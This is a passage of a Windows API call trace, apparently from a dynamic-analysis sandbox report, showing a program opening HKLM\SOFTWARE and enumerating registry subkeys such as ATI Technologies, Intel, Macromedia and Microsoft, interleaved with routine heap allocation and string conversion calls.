(HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbca0) returned 1 [0164.011] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.011] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x41f9d8 | out: phkResult=0x41f9d8*=0xa0) returned 0x0 [0164.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x184) returned 0x1dd040 [0164.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbca0 [0164.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbc58 [0164.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbce8 [0164.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbd30 [0164.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbd78 [0164.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbdc0 [0164.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbe08 [0164.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbe50 [0164.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbe98 [0164.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbee0 [0164.012] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbf28 [0164.012] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbf70 [0164.012] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbfb8 [0164.012] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc000 [0164.012] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc048 [0164.012] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc090 [0164.012] RegCloseKey (hKey=0x80000002) returned 0x0 [0164.012] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x1db930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0164.012] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0164.012] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x1dc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0164.012] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.012] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.012] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.012] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.012] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x1db930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0164.012] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0164.012] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x1dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0164.012] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.012] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.012] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.012] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.012] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x1db930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0164.012] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0164.012] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x1dc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0164.012] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.012] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.012] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.012] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.012] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x1db930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0164.013] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0164.013] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x1dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0164.013] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.013] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.013] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.013] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.013] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x1db930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0164.013] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0164.013] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x1dc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0164.013] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.013] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.013] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.013] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.013] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0x1db930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0164.013] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0164.013] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x1dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0164.013] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.013] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.013] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.013] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.013] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0x1db930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0164.013] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0164.013] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x1dc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0164.013] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.013] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.013] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.013] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.014] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x41f9d8 | out: phkResult=0x41f9d8*=0x24) returned 0x0 [0164.014] RegCloseKey (hKey=0xa0) returned 0x0 [0164.014] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x1db930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0164.014] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0164.014] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1dc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0164.014] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.014] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.014] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.014] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.014] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x1db930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0164.014] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0164.014] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x1dc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0164.014] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.014] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.014] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.014] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.014] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x1db930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0164.014] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0164.014] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x1dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0164.014] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.014] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.014] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.014] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.014] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x1db930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0164.014] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0164.015] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x1dc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0164.015] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.015] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.015] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.015] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.015] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x1db930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0164.015] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0164.015] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x1dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0164.015] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.015] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.015] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.015] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.015] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x1db930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0164.015] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0164.015] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x1dc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0164.015] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.015] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.015] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.015] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.015] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x1db930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0164.015] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0164.016] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x1dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0164.016] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.016] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.016] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.016] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.016] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x1db930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0164.016] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0164.016] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x1dc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0164.016] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.016] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.016] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.016] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.016] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x1db930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0164.016] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0164.016] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x1dc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0164.016] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.016] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.016] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.016] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.016] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x1db930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0164.016] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0164.016] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x1dc0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0164.016] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.016] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.016] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.016] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.016] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x1db930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0164.016] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0164.017] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x1dc120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0164.017] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.017] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.017] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.017] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.017] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x1db930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0164.017] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0164.017] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x1dc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0164.017] RtlAllocateHeap (HeapHandle=0x1d0000, 